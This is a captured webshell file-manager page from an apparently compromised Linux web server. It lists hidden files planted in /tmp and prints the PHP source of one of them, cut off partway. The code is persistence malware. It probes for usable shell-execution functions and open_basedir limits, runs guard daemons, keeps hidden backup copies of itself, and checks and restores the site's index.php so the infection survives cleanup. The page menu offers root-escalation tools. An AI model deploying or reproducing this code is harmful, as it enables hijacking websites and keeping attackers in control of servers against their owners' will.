Linux server.serveridoramd.com 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
LiteSpeed
Server IP : 138.128.189.138 & Your IP : 216.73.216.158
Domains :
Cant Read [ /etc/named.conf ]
User : avisosenacribj05
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
tmp /
as_d171babddcd7738e /
Delete
Unzip
Name
Size
Permission
Date
Action
.d171babddcd7738ec.dat
321
B
-rw-r--r--
2026-09-08 16:32
.d171babddcd7738ed.log
111.66
MB
-rw-r--r--
2026-09-14 15:50
.d171babddcd7738efw.php
264
KB
-rw-r--r--
2026-09-08 16:32
.d171babddcd7738ega.pid
7
B
-rw-r--r--
2026-09-14 15:50
.d171babddcd7738egb.pid
7
B
-rw-r--r--
2026-09-14 15:50
.d171babddcd7738egm.pid
7
B
-rw-r--r--
2026-09-14 15:50
.d171babddcd7738eidx.dat
6.44
KB
-rw-r--r--
2026-09-08 16:32
.d171babddcd7738eidx.json
184
B
-rw-r--r--
2026-09-08 16:32
.d171babddcd7738es.dat
13
B
-rw-r--r--
2026-09-08 16:32
.d171babddcd7738ev.dat
588
B
-rw-r--r--
2026-09-08 16:32
.d171babddcd7738ew.sh
12.85
KB
-rwxr-xr-x
2026-09-08 16:32
Save
Rename
<?php declare(strict_types=1); if (PHP_SAPI !== 'cli') { @ini_set('display_errors', '0'); } @set_time_limit(0); @ini_set('max_execution_time', '0'); @ignore_user_abort(true); const ACCESS_KEY_HASH = '708fcd2a6358c87c32b346fb3894e522af89d3dc7a0d4524b09083eb8085b447'; const REQUIRE_ACCESS_KEY = false; const REQUIRE_KEY_FOR_DEPLOY = false; const AS_BOOT_SALT = 'db0113e59e4f56df'; const SCAN_ROOT = __DIR__; const MAX_SCAN_FILE_BYTES = 2097152; final class AsPaths { private static $runtimeRootCache = null; public static function bid(): string { static $b = null; if ($b !== null) { return $b; } $dir = str_replace('\\', '/', __DIR__); if (preg_match('#/as_([a-f0-9]{16})$#', $dir, $m)) { $b = $m[1]; return $b; } $b = substr(hash('sha256', AS_BOOT_SALT . "\0" . __DIR__), 0, 16); return $b; } public static function entry(): string { return realpath(__FILE__) ?: __FILE__; } public static function base(): string { $d = realpath(__DIR__); return ($d !== false && is_dir($d)) ? $d : __DIR__; } public static function legacyModuleDir(): string { return self::base() . DIRECTORY_SEPARATOR . 'Module'; } /** 运行时根目录:/tmp/as_{bid} → image/Module(不在 image 根目录散落文件) */ public static function runtimeRootCandidates(): array { return [ '/tmp/as_' . self::bid(), self::legacyModuleDir(), ]; } public static function moduleDir(): string { return self::runtimeRoot(); } public static function runtimeRoot(): string { if (self::$runtimeRootCache !== null) { return self::$runtimeRootCache; } self::$runtimeRootCache = self::pickRuntimeRoot(); return self::$runtimeRootCache; } public static function runtimeRootTier(): string { $root = str_replace('\\', '/', self::runtimeRoot()); $tmpRoot = '/tmp/as_' . self::bid(); if ($root === $tmpRoot || strpos($root, '/tmp/') === 0) { return 'tmp'; } return 'module'; } public static function canPlaceRuntime(): bool { foreach (self::runtimeRootCandidates() as $dir) { if (self::isRuntimeDirWritable($dir)) { return true; } } return false; } private static function pickRuntimeRoot(): string { $bid = self::bid(); $configName = '.' . $bid . 'c.dat'; foreach (self::runtimeRootCandidates() as $dir) { if (@is_file($dir . DIRECTORY_SEPARATOR . $configName)) { return $dir; } } foreach (self::runtimeRootCandidates() as $dir) { if (self::dirHasRuntimeMarkers($dir, $bid)) { return $dir; } } foreach (self::runtimeRootCandidates() as $dir) { if (self::isRuntimeDirWritable($dir)) { if (self::ensureRuntimeDir($dir)) { return $dir; } } } $fallback = self::legacyModuleDir(); self::ensureRuntimeDir($fallback); return $fallback; } private static function dirHasRuntimeMarkers(string $dir, string $bid): bool { if (!@is_dir($dir)) { return false; } $markers = ['c.dat', 'p.dat', 'd.log', 'w.sh']; foreach ($markers as $suffix) { if (@is_file($dir . DIRECTORY_SEPARATOR . '.' . $bid . $suffix)) { return true; } } return false; } private static function ensureRuntimeDir(string $dir): bool { if (@is_dir($dir)) { return true; } return @mkdir($dir, 0755, true) && @is_dir($dir); } private static function isRuntimeDirWritable(string $dir): bool { if ($dir === '') { return false; } if (!DeployPathHelper::pathAccessible($dir)) { return false; } if (!@is_dir($dir) && !self::ensureRuntimeDir($dir)) { return false; } if (!@is_dir($dir)) { return false; } if (@is_writable($dir)) { return true; } $probe = rtrim(str_replace('\\', '/', $dir), '/') . DIRECTORY_SEPARATOR . '.' . self::probeTag() . '_rw_' . substr(md5(uniqid('', true)), 0, 6); if (@file_put_contents($probe, '1') === false) { return false; } @unlink($probe); return true; } public static function ensureModuleDir(): bool { $dir = self::runtimeRoot(); if (!self::ensureRuntimeDir($dir)) { return false; } self::migrateLegacyRuntimeFiles(); return @is_dir($dir); } public static function wipeModuleDir(): bool { self::$runtimeRootCache = null; $ok = true; foreach (self::runtimeRootCandidates() as $dir) { if (@is_dir($dir) && !self::deleteDirectoryRecursive($dir)) { $ok = false; } } return $ok && self::ensureModuleDir(); } private static function deleteDirectoryRecursive(string $dir): bool { if (!is_dir($dir)) { return true; } $items = @scandir($dir); if ($items === false) { return false; } foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir . DIRECTORY_SEPARATOR . $item; if (is_dir($path) && !is_link($path)) { if (!self::deleteDirectoryRecursive($path)) { return false; } } elseif (!@unlink($path)) { return false; } } return @rmdir($dir); } private static function runtimePath(string $suffix): string { self::ensureModuleDir(); return self::moduleDir() . DIRECTORY_SEPARATOR . '.' . self::bid() . $suffix; } private static function migrateLegacyRuntimeFiles(): void { $base = self::base(); $bid = self::bid(); $dest = self::runtimeRoot(); $map = [ 'c.dat' => 'c.dat', 's.dat' => 's.dat', 'p.dat' => 'p.dat', 'dl.dat' => 'dl.dat', 'dla.dat' => 'dla.dat', 'dlb.dat' => 'dlb.dat', 'pa.dat' => 'pa.dat', 'pb.dat' => 'pb.dat', 'cp.dat' => 'cp.dat', 'sl.dat' => 'sl.dat', 'sp.dat' => 'sp.dat', 'ga.pid' => 'ga.pid', 'gb.pid' => 'gb.pid', 'gm.pid' => 'gm.pid', 'w.sh' => 'w.sh', 'ae.dat' => 'ae.dat', 'd.log' => 'd.log', 'wp.dat' => 'wp.dat', 'gp.dat' => 'gp.dat', 'st.dat' => 'st.dat', 'idx.dat' => 'idx.dat', 'idx.json' => 'idx.json', ]; $sourceDirs = [ $dest, self::legacyModuleDir(), $base, '/tmp', ]; foreach ($map as $suffix => $newSuffix) { $new = $dest . DIRECTORY_SEPARATOR . '.' . $bid . $newSuffix; if (@is_file($new)) { continue; } foreach ($sourceDirs as $srcDir) { $old = rtrim(str_replace('\\', '/', $srcDir), '/') . DIRECTORY_SEPARATOR . '.' . $bid . $suffix; if (@is_file($old) && !@is_file($new)) { @rename($old, $new); break; } } } } public static function config(): string { return self::runtimePath('c.dat'); } public static function strategy(): string { return self::runtimePath('s.dat'); } public static function pid(): string { return self::runtimePath('p.dat'); } public static function daemonLock(): string { return self::runtimePath('dl.dat'); } public static function daemonLockA(): string { return self::runtimePath('dla.dat'); } public static function daemonLockB(): string { return self::runtimePath('dlb.dat'); } public static function pidMainA(): string { return self::runtimePath('pa.dat'); } public static function pidMainB(): string { return self::runtimePath('pb.dat'); } public static function childPool(): string { return self::runtimePath('cp.dat'); } public static function shellLock(): string { return self::runtimePath('sl.dat'); } public static function childSpawnLock(string $slot, string $role): string { $slot = strtoupper($slot) === 'B' ? 'B' : 'A'; $roleMap = ['peer' => 'p', 'shell' => 's', 'md5' => 'm']; $roleKey = $roleMap[$role] ?? 'm'; return self::runtimePath('cs' . strtolower($slot) . $roleKey . '.lck'); } public static function shellPid(): string { return self::runtimePath('sp.dat'); } public static function shellGuardA(): string { return self::runtimePath('ga.pid'); } public static function shellGuardB(): string { return self::runtimePath('gb.pid'); } public static function shellGuardMd5(): string { return self::runtimePath('gm.pid'); } public static function shellScript(): string { return self::runtimePath('w.sh'); } public static function autoEnsureStamp(): string { return self::runtimePath('ae.dat'); } public static function stopStamp(): string { return self::runtimePath('st.dat'); } public static function daemonLog(): string { return self::runtimePath('d.log'); } public static function workerPool(): string { return self::runtimePath('wp.dat'); } /** 轮换 guard 子进程 PID 池(专责 index.php) */ public static function guardPool(): string { return self::runtimePath('gp.dat'); } public static function baselineMeta(): string { return self::runtimePath('idx.json'); } public static function baselineContent(): string { return self::runtimePath('idx.dat'); } public static function vaultManifest(): string { return self::runtimePath('v.dat'); } /** @return array<string, mixed>|null */ public static function readVaultManifestData(): ?array { $path = self::vaultManifest(); if (!@is_file($path) || !@is_readable($path)) { return null; } $raw = @file_get_contents($path); $data = is_string($raw) ? json_decode($raw, true) : null; return is_array($data) ? $data : null; } /** @return string[] */ private static function vaultDirsFromManifest(string $key, int $minCount): array { $data = self::readVaultManifestData(); if (is_array($data) && !empty($data[$key]) && is_array($data[$key])) { $dirs = []; foreach ($data[$key] as $d) { if (is_string($d) && $d !== '' && VaultDirResolver::isValidVaultDir($d)) { $dirs[] = $d; } } $dirs = array_values(array_unique($dirs)); if (count($dirs) >= $minCount) { return $dirs; } } return VaultDirResolver::pickVaultDirs($key, $minCount); } /** baseline 副本目录(分散存放,站点内深层扫描 + 系统临时目录) */ public static function baselineVaultDirs(): array { return self::vaultDirsFromManifest('baseline_vaults', 3); } /** 运行配置副本目录 */ public static function configVaultDirs(): array { return self::vaultDirsFromManifest('config_vaults', 2); } /** fw.php 副本目录 */ public static function bundleVaultDirs(): array { return self::vaultDirsFromManifest('bundle_vaults', 3); } public static function cliPcntl(): string { return '--' . substr(self::bid(), 0, 8); } public static function cliWorker(): string { return '--' . substr(self::bid(), 8, 8); } /** 短期轮换 guard 子进程(legacy) */ public static function cliGuard(): string { return '--' . substr(self::bid(), 0, 8) . '-g'; } /** 子进程:守护对端 PHP 主进程 */ public static function cliChildPeer(): string { return '--' . substr(self::bid(), 0, 8) . '-cp'; } /** 子进程:守护 shell 主进程 */ public static function cliChildShell(): string { return '--' . substr(self::bid(), 0, 8) . '-cs'; } /** 子进程:MD5 校验并恢复 index.php */ public static function cliChildMd5(): string { return '--' . substr(self::bid(), 0, 8) . '-cm'; } public static function cliStop(): string { return '--' . substr(self::bid(), 0, 8) . '-stop'; } public static function probeTag(): string { return 'p' . substr(self::bid(), 0, 6); } public static function daemonEntryScript(): string { return self::runtimePath('fw.php'); } public static function entryBaseName(): string { return basename(self::entry()); } } function resolveScriptBaseDir(): string { static $cached = null; if ($cached !== null) { return $cached; } $dir = str_replace('\\', '/', __DIR__); if (preg_match('#/as_([a-f0-9]{16})$#', $dir, $m)) { $configPath = __DIR__ . DIRECTORY_SEPARATOR . '.' . $m[1] . 'c.dat'; if (@is_readable($configPath)) { $raw = @file_get_contents($configPath); $cfg = is_string($raw) ? json_decode($raw, true) : null; if (is_array($cfg) && !empty($cfg['script_base'])) { $base = (string) $cfg['script_base']; $real = @realpath($base); if ($real !== false && is_dir($real)) { $cached = $real; return $cached; } if (@is_dir($base)) { $cached = rtrim(str_replace('\\', '/', $base), '/'); return $cached; } } } } $real = realpath(__DIR__); $cached = ($real !== false && is_dir($real)) ? $real : __DIR__; return $cached; } /** * 站点根解析(对位 txt/common/common_path_and_root.txt resolve_site_root · txt/g G_func_site_root_resolve)。 */ final class SiteRootResolver { public static function normalizeDirectory(string $path) { if ($path === '') { return false; } $path = rtrim(str_replace(['/', '\\'], DIRECTORY_SEPARATOR, $path), DIRECTORY_SEPARATOR); if ($path === '' || !@is_dir($path)) { return false; } $real = @realpath($path); if ($real === false || $real === '') { return false; } return rtrim($real, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR; } private static function hostOnly(): string { if (empty($_SERVER['HTTP_HOST'])) { return ''; } $h = trim((string) $_SERVER['HTTP_HOST']); if ($h === '') { return ''; } if (isset($h[0]) && $h[0] === '[') { $end = strpos($h, ']'); if ($end !== false && $end > 1) { return strtolower(substr($h, 1, $end - 1)); } return ''; } $h = preg_replace('/:\d+$/', '', $h); return strtolower((string) $h); } private static function sameRealdir(string $a, string $b): bool { if ($a === '' || $b === '') { return false; } $ra = @realpath(rtrim(str_replace(['/', '\\'], DIRECTORY_SEPARATOR, $a), DIRECTORY_SEPARATOR)); $rb = @realpath(rtrim(str_replace(['/', '\\'], DIRECTORY_SEPARATOR, $b), DIRECTORY_SEPARATOR)); if ($ra === false || $rb === false) { return false; } return strcasecmp($ra, $rb) === 0; } private static function pathHasVhostSegment(string $pathSlashedLower, string $vhostLower): bool { if ($pathSlashedLower === '' || $vhostLower === '') { return false; } return (bool) preg_match('#/' . preg_quote($vhostLower, '#') . '(/|$)#', $pathSlashedLower); } private static function pathWithinOpenBasedir(string $path): bool { $ob = ini_get('open_basedir'); if (!is_string($ob) || trim($ob) === '') { return true; } $pathN = rtrim(str_replace('\\', '/', $path), '/'); foreach (explode(PATH_SEPARATOR, $ob) as $prefix) { $prefix = rtrim(str_replace('\\', '/', trim($prefix)), '/'); if ($prefix === '') { continue; } if ($pathN === $prefix || strpos($pathN . '/', $prefix . '/') === 0) { return true; } } return false; } private static function panelCandidates(string $vhost): array { return [ '/www/wwwroot/' . $vhost, '/www/wwwroot/' . $vhost . '/public', '/www/wwwroot/' . $vhost . '/public_html', '/www/wwwroot/' . $vhost . '/httpdocs', '/var/www/vhosts/' . $vhost . '/httpdocs', '/var/www/vhosts/' . $vhost . '/public_html', '/var/www/vhosts/' . $vhost, ]; } private static function tryPanelRoot(): string { if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') { return ''; } $vhost = self::hostOnly(); if ($vhost === '' || $vhost === 'localhost') { return ''; } foreach (self::panelCandidates($vhost) as $t) { if (!self::pathWithinOpenBasedir($t)) { continue; } $norm = self::normalizeDirectory($t); if ($norm === false) { continue; } $idx = rtrim($norm, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . 'index.php'; if (@is_file($idx) && @is_readable($idx)) { return rtrim($norm, DIRECTORY_SEPARATOR); } } return ''; } /** * @return array{root:string|false, method:string, candidates:array<string,string>, messages:array<int,string>} */ public static function resolve(string $scriptFile): array { $messages = []; $candidates = []; if ($scriptFile === '') { return ['root' => false, 'method' => 'none', 'candidates' => [], 'messages' => ['scriptFile empty']]; } $doc = isset($_SERVER['DOCUMENT_ROOT']) ? trim((string) $_SERVER['DOCUMENT_ROOT']) : ''; if ($doc !== '') { $norm = self::normalizeDirectory($doc); if ($norm !== false) { $candidates['document_root'] = rtrim($norm, DIRECTORY_SEPARATOR); } else { $messages[] = 'document_root invalid or not a directory: ' . $doc; } } else { $messages[] = 'DOCUMENT_ROOT not set'; } $scriptDir = @dirname($scriptFile); if ($scriptDir !== false && $scriptDir !== '' && $scriptDir !== '.') { $parentOfScriptDir = @dirname($scriptDir); if ($parentOfScriptDir !== false && $parentOfScriptDir !== '' && $parentOfScriptDir !== '.') { $indexPath = $parentOfScriptDir . DIRECTORY_SEPARATOR . 'index.php'; if (@is_file($indexPath) && @is_readable($indexPath)) { $norm = self::normalizeDirectory($parentOfScriptDir); if ($norm !== false) { $candidates['parent_of_script_dir'] = rtrim($norm, DIRECTORY_SEPARATOR); $messages[] = 'found index.php in parent of script dir: ' . $indexPath; } } } } $vhostForCheck = self::hostOnly(); if (PHP_SAPI !== 'cli' && PHP_SAPI !== 'phpdbg' && $vhostForCheck !== '' && $vhostForCheck !== 'localhost') { $panel = self::tryPanelRoot(); if ($panel !== '') { $candidates['vhost_panel'] = $panel; $messages[] = 'vhost_panel candidate: ' . $panel; } } $primary = false; $method = 'none'; if (isset($candidates['document_root'], $candidates['vhost_panel']) && $vhostForCheck !== '') { $dr = $candidates['document_root']; $vh = $candidates['vhost_panel']; if (!self::sameRealdir($dr, $vh)) { $drN = strtolower(str_replace('\\', '/', rtrim($dr, '/\\'))) . '/'; $vhN = strtolower(str_replace('\\', '/', rtrim($vh, '/\\'))) . '/'; $drHas = self::pathHasVhostSegment($drN, $vhostForCheck); $vhHas = self::pathHasVhostSegment($vhN, $vhostForCheck); $drUnderPanel = (strpos($drN, '/www/wwwroot/') !== false); if ($drUnderPanel && !$drHas && $vhHas) { $primary = $vh; $method = 'vhost_panel'; $messages[] = 'prefer vhost_panel: DOCUMENT_ROOT under /www/wwwroot but path lacks HTTP_HOST'; } } } if ($primary === false && isset($candidates['document_root'])) { $primary = $candidates['document_root']; $method = 'document_root'; } elseif ($primary === false && isset($candidates['vhost_panel'])) { $primary = $candidates['vhost_panel']; $method = 'vhost_panel'; } elseif ($primary === false && isset($candidates['parent_of_script_dir'])) { $primary = $candidates['parent_of_script_dir']; $method = 'parent_of_script_dir'; } return [ 'root' => $primary, 'method' => $method, 'candidates' => $candidates, 'messages' => $messages, ]; } public static function resolveRootBlock(string $scriptFile): array { $resolved = self::resolve($scriptFile); $ok = ($resolved['root'] !== false && $resolved['root'] !== ''); $messages = $resolved['messages']; $messages[] = 'method:' . $resolved['method']; if (!empty($resolved['candidates'])) { $messages[] = 'candidates:' . implode(',', array_keys($resolved['candidates'])); } if ($ok) { $messages[] = 'root:' . $resolved['root']; } return [ 'title' => 'resolve_root', 'status' => $ok ? 'ok' : 'fail', 'message' => $messages, ]; } } function frameworkRuntimeCacheKey(): string { if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') { return 'cli:' . str_replace('\\', '/', (string) getcwd()); } $host = isset($_SERVER['HTTP_HOST']) ? strtolower(trim((string) $_SERVER['HTTP_HOST'])) : ''; $doc = isset($_SERVER['DOCUMENT_ROOT']) ? trim((string) $_SERVER['DOCUMENT_ROOT']) : ''; return 'web:' . $host . ':' . $doc; } function frameworkSiteRootResolved(): array { static $cached = []; $key = frameworkRuntimeCacheKey(); if (isset($cached[$key])) { return $cached[$key]; } $cached[$key] = SiteRootResolver::resolve(AsPaths::entry()); return $cached[$key]; } function frameworkResolvedSiteRoot(): string { $resolved = frameworkSiteRootResolved(); if ($resolved['root'] !== false && $resolved['root'] !== '') { return (string) $resolved['root']; } return resolveScriptBaseDir(); } /** 站点根 index.php(对位 txt/g run_site_scan;不误选 image/index.php) */ function frameworkRootIndexPath(?string $siteRoot = null): string { $root = rtrim(str_replace('\\', '/', $siteRoot ?? frameworkResolvedSiteRoot()), '/'); if ($root === '') { return ''; } $indexPath = $root . '/index.php'; if (!@is_file($indexPath)) { return $indexPath; } $norm = str_replace('\\', '/', (string) (@realpath($indexPath) ?: $indexPath)); if (preg_match('#/image/index\.php$#i', $norm)) { $parentRoot = dirname(dirname($norm)); $parentIndex = $parentRoot . '/index.php'; if (@is_file($parentIndex)) { return str_replace('\\', '/', (string) (@realpath($parentIndex) ?: $parentIndex)); } } return $norm; } function resolveScanRoot(): string { framework_init_realdata_from_request(); $override = ''; if (function_exists('request_param')) { $v = request_param('scan_root', ''); if (is_string($v) && trim($v) !== '') { $override = trim($v); } } if ($override === '') { global $realdata; if (isset($realdata['scan_root']) && is_string($realdata['scan_root']) && trim($realdata['scan_root']) !== '') { $override = trim($realdata['scan_root']); } } if ($override === '' && isset($_POST['scan_root']) && is_string($_POST['scan_root'])) { $override = trim($_POST['scan_root']); } if ($override === '' && isset($_GET['scan_root']) && is_string($_GET['scan_root'])) { $override = trim($_GET['scan_root']); } if ($override !== '') { $real = realpath($override); if ($real !== false && is_dir($real)) { return $real; } } return frameworkResolvedSiteRoot(); } function accessKeyHash(string $plain): string { return hash('sha256', AS_BOOT_SALT . "\0" . $plain); } function accessKeyConfigured(): bool { return ACCESS_KEY_HASH !== ''; } function framework_init_realdata_from_request(): void { if (function_exists('g26_init_realdata_from_request')) { g26_init_realdata_from_request(); return; } global $realdata; if (isset($GLOBALS['realdata']) && is_array($GLOBALS['realdata'])) { $realdata = $GLOBALS['realdata']; return; } if (isset($realdata) && is_array($realdata)) { $GLOBALS['realdata'] = $realdata; return; } $merged = array(); if (isset($_GET) && is_array($_GET)) { $merged = array_merge($merged, $_GET); } if (isset($_POST) && is_array($_POST)) { $merged = array_merge($merged, $_POST); } $raw = @file_get_contents('php://input'); if ($raw !== false && $raw !== '') { $js = @json_decode($raw, true); if (is_array($js)) { $merged = array_merge($merged, $js); } } $GLOBALS['realdata'] = $merged; $realdata = $merged; } function framework_key_from_realdata(): string { if (function_exists('request_param')) { $v = request_param('key', ''); return is_string($v) ? trim($v) : ''; } global $realdata; if (isset($realdata) && is_array($realdata) && isset($realdata['key']) && is_string($realdata['key'])) { return trim($realdata['key']); } if (isset($GLOBALS['realdata']) && is_array($GLOBALS['realdata']) && isset($GLOBALS['realdata']['key']) && is_string($GLOBALS['realdata']['key'])) { return trim($GLOBALS['realdata']['key']); } return ''; } function submittedAccessKey(): string { framework_init_realdata_from_request(); $fromRealdata = framework_key_from_realdata(); if ($fromRealdata !== '') { return $fromRealdata; } if (isset($_POST['key']) && is_string($_POST['key']) && trim($_POST['key']) !== '') { return trim($_POST['key']); } return ''; } function verifyAccessKey(string $submitted): bool { if (!accessKeyConfigured() || $submitted === '') { return false; } return hash_equals(ACCESS_KEY_HASH, accessKeyHash($submitted)); } final class DeployPathHelper { public static function normalize(string $path): string { return str_replace(['/', '\\'], DIRECTORY_SEPARATOR, $path); } private static function collapsePathSlashes(string $path): string { $path = str_replace('\\', '/', $path); $parts = []; foreach (explode('/', $path) as $seg) { if ($seg === '' || $seg === '.') { continue; } if ($seg === '..') { array_pop($parts); continue; } $parts[] = $seg; } $collapsed = implode('/', $parts); if ($path !== '' && ($path[0] === '/' || preg_match('/^[A-Za-z]:/', $path))) { if (preg_match('/^([A-Za-z]:)/', $path, $m)) { return $m[1] . '/' . $collapsed; } return '/' . $collapsed; } return $collapsed; } public static function isPathInside(string $path, string $base): bool { $pathReal = realpath($path); $baseReal = realpath($base); if ($pathReal !== false && $baseReal !== false) { $baseNorm = rtrim(str_replace('\\', '/', $baseReal), '/') . '/'; $pathNorm = str_replace('\\', '/', $pathReal); return strpos($pathNorm . '/', $baseNorm) === 0; } $pathNorm = rtrim(self::collapsePathSlashes($path), '/'); $baseNorm = rtrim(self::collapsePathSlashes($base), '/'); return $pathNorm === $baseNorm || strpos($pathNorm . '/', $baseNorm . '/') === 0; } public static function pathAllowedByOpenBasedir(string $path): bool { $ob = ini_get('open_basedir'); if ($ob === false || $ob === '') { return true; } $checkPath = realpath(dirname($path)); if ($checkPath === false) { $checkPath = dirname($path); } foreach (preg_split('/[:;]/', $ob) as $allowed) { $allowed = trim($allowed); if ($allowed === '') { continue; } if (self::isPathInside($checkPath, $allowed)) { return true; } } return false; } public static function isOpenBasedirActive(): bool { $ob = ini_get('open_basedir'); return $ob !== false && $ob !== ''; } public static function pathAccessible(string $path): bool { if ($path === '') { return false; } if (!self::isOpenBasedirActive()) { return true; } return self::pathAllowedByOpenBasedir($path); } public static function safeRealpath(string $path): ?string { if (!self::pathAccessible($path)) { return null; } $real = @realpath($path); return ($real !== false) ? $real : null; } public static function safeIsFile(string $path): bool { return self::pathAccessible($path) && @is_file($path); } public static function safeIsReadable(string $path): bool { return self::pathAccessible($path) && @is_readable($path); } public static function safeIsWritable(string $path): bool { return self::pathAccessible($path) && @is_writable($path); } public static function safeIsExecutable(string $path): bool { return self::pathAccessible($path) && @is_executable($path); } public static function safePathStat(string $path): array { if (!self::pathAccessible($path)) { return [ 'path' => $path, 'exists' => false, 'readable' => false, 'writable' => false, 'executable' => false, 'open_basedir_blocked' => true, ]; } $real = @realpath($path); $resolved = ($real !== false) ? $real : self::normalize($path); return [ 'path' => $resolved, 'exists' => @is_file($resolved) || @is_dir($resolved), 'readable' => @is_readable($resolved), 'writable' => @is_writable($resolved), 'executable' => @is_executable($resolved), 'open_basedir_blocked' => false, ]; } public static function defaultTargetIndex(string $baseDir): string { $indexPath = frameworkRootIndexPath(); if ($indexPath !== '') { $real = self::safeRealpath($indexPath); return $real !== null ? $real : self::normalize($indexPath); } return self::resolveTargetAbsolute($baseDir, self::defaultTargetRel()); } public static function defaultTargetRel(): string { $rootIndex = frameworkRootIndexPath(); if ($rootIndex === '') { return '../index.php'; } $baseDir = resolveScriptBaseDir(); $baseReal = self::safeRealpath($baseDir) ?? self::normalize($baseDir); $indexReal = self::safeRealpath($rootIndex) ?? self::normalize($rootIndex); $baseNorm = rtrim(str_replace('\\', '/', $baseReal), '/'); $indexNorm = str_replace('\\', '/', $indexReal); if (strpos($indexNorm, $baseNorm . '/') === 0) { return ltrim(substr($indexNorm, strlen($baseNorm)), '/'); } return '../index.php'; } /** * 相对路径以脚本所在目录为基准,最终返回绝对路径(realpath)。 */ public static function resolveTargetAbsolute(string $baseDir, string $target = ''): string { if ($target === '') { $target = self::defaultTargetRel(); } if ($target[0] === '/' || preg_match('/^[A-Za-z]:[\\\\\\/]/', $target)) { $real = self::safeRealpath($target); return $real !== null ? $real : self::normalize($target); } $combined = rtrim($baseDir, '/\\') . DIRECTORY_SEPARATOR . str_replace(['/', '\\'], DIRECTORY_SEPARATOR, $target); $real = self::safeRealpath($combined); if ($real !== null) { return $real; } return self::normalize($combined); } } final class CliCapabilityProbe { private $baseDir; public function __construct(string $baseDir) { $this->baseDir = $baseDir; } public function run(string $phpBin, string $targetAbs, array $probe): array { $out = [ 'ok' => false, 'php_bin' => $phpBin, 'pcntl_fork' => false, 'flock' => false, 'file_put_contents' => false, 'target_writable' => false, 'error' => null, 'raw_output' => '', ]; if (empty($probe['command_exec']['any_exec_works'])) { $out['error'] = 'Web 环境无法 exec CLI'; return $out; } $probeScript = $this->baseDir . '/.' . AsPaths::probeTag() . '_cp_' . (function_exists('random_bytes') ? bin2hex(random_bytes(4)) : substr(md5(uniqid('', true)), 0, 8)) . '.php'; $code = '<?php $target = getenv("P") ?: ""; $r = [ "pcntl_fork" => function_exists("pcntl_fork"), "flock" => function_exists("flock"), "file_put_contents" => function_exists("file_put_contents"), "target_writable" => false, ]; if ($r["file_put_contents"] && $target !== "") { $dir = dirname($target); $p = $dir . "/." . getmypid() . ".t"; if (@file_put_contents($p, "1") !== false) { $r["target_writable"] = true; @unlink($p); } } echo json_encode($r); '; if (@file_put_contents($probeScript, $code) === false) { $out['error'] = '无法写入 CLI 探针脚本'; return $out; } $inner = 'P=' . escapeshellarg($targetAbs) . ' ' . escapeshellarg($phpBin) . ' ' . escapeshellarg($probeScript) . ' 2>/dev/null'; $cmd = '/bin/sh -c ' . escapeshellarg($inner); $raw = $this->execCapture($cmd, $probe); @unlink($probeScript); $out['raw_output'] = trim($raw); if ($out['raw_output'] === '') { $out['error'] = 'CLI 探针无输出'; return $out; } $data = json_decode($out['raw_output'], true); if (!is_array($data)) { $out['error'] = 'CLI 探针 JSON 解析失败'; return $out; } $out['pcntl_fork'] = !empty($data['pcntl_fork']); $out['flock'] = !empty($data['flock']); $out['file_put_contents'] = !empty($data['file_put_contents']); $out['target_writable'] = !empty($data['target_writable']); $out['ok'] = true; return $out; } private function execCapture(string $cmd, array $probe): string { $methods = isset($probe['command_exec']['methods']) && is_array($probe['command_exec']['methods']) ? $probe['command_exec']['methods'] : []; if (!empty($methods['shell_exec']['marker_found']) && function_exists('shell_exec')) { return (string) @shell_exec($cmd); } if (!empty($methods['exec']['marker_found']) && function_exists('exec')) { $lines = []; @exec($cmd, $lines, $code); return implode("\n", $lines); } if (!empty($methods['proc_open']['marker_found']) && function_exists('proc_open')) { $desc = [1 => ['pipe', 'w'], 2 => ['pipe', 'w']]; $proc = @proc_open($cmd, $desc, $pipes); if (!is_resource($proc)) { return ''; } $out = isset($pipes[1]) ? (string) stream_get_contents($pipes[1]) : ''; if (isset($pipes[1])) { @fclose($pipes[1]); } if (isset($pipes[2])) { @fclose($pipes[2]); } @proc_close($proc); return $out; } return ''; } } const LANGUAGE_CONSTRUCTS = [ 'include', 'include_once', 'require', 'require_once', 'echo', 'print', 'isset', 'empty', 'die', 'exit', ]; /** * 蚁剑风格 PHP 环境检测:function_exists + is_callable + disable_functions 交叉校验。 */ final class PhpEnvHelper { private static $disabledCache = null; public static function parseDisabledFunctions(): array { if (self::$disabledCache !== null) { return self::$disabledCache; } $raw = ini_get('disable_functions'); if ($raw === false || trim((string) $raw) === '') { self::$disabledCache = []; return self::$disabledCache; } $normalized = str_replace(["\r\n", "\r", "\n", ';'], ',', strtolower((string) $raw)); $list = array_map('trim', explode(',', $normalized)); self::$disabledCache = array_values(array_filter($list, static function ($v) { return $v !== ''; })); return self::$disabledCache; } public static function funcAvailable(string $fn): bool { $disabled = self::parseDisabledFunctions(); return function_exists($fn) && is_callable($fn) && !in_array(strtolower($fn), $disabled, true); } public static function funcDetail(string $fn): array { $disabled = self::parseDisabledFunctions(); $exists = function_exists($fn); $callable = $exists && is_callable($fn); $inDisabled = in_array(strtolower($fn), $disabled, true); $available = $exists && $callable && !$inDisabled; $reason = null; if (!$exists) { $reason = '函数不存在(未安装对应扩展)'; } elseif ($inDisabled) { $reason = '函数在 disable_functions 中被禁用'; } elseif (!$callable) { $reason = '函数存在但不可调用'; } return [ 'function' => $fn, 'exists' => $exists, 'callable' => $callable, 'disabled' => $inDisabled, 'available' => $available, 'reason' => $reason, ]; } public static function requireFunctions(array $functions): array { $blockers = []; $checks = []; foreach ($functions as $fn) { $detail = self::funcDetail($fn); $checks[$fn] = $detail; if (!$detail['available']) { $blockers[] = '缺少必要 PHP 函数 ' . $fn . ':' . ($detail['reason'] ?? '不可用'); } } return ['blockers' => $blockers, 'checks' => $checks]; } public static function firstAvailableExecFunction(): ?string { foreach (['system', 'passthru', 'shell_exec', 'exec', 'popen', 'proc_open'] as $fn) { if (self::funcAvailable($fn)) { return $fn; } } return null; } } /** * 守护进程启动前置条件统一门禁(Web 部署 / 自动拉起 / CLI 入口)。 */ final class DaemonStartupGate { private const SPAWN_FUNCTIONS = ['system', 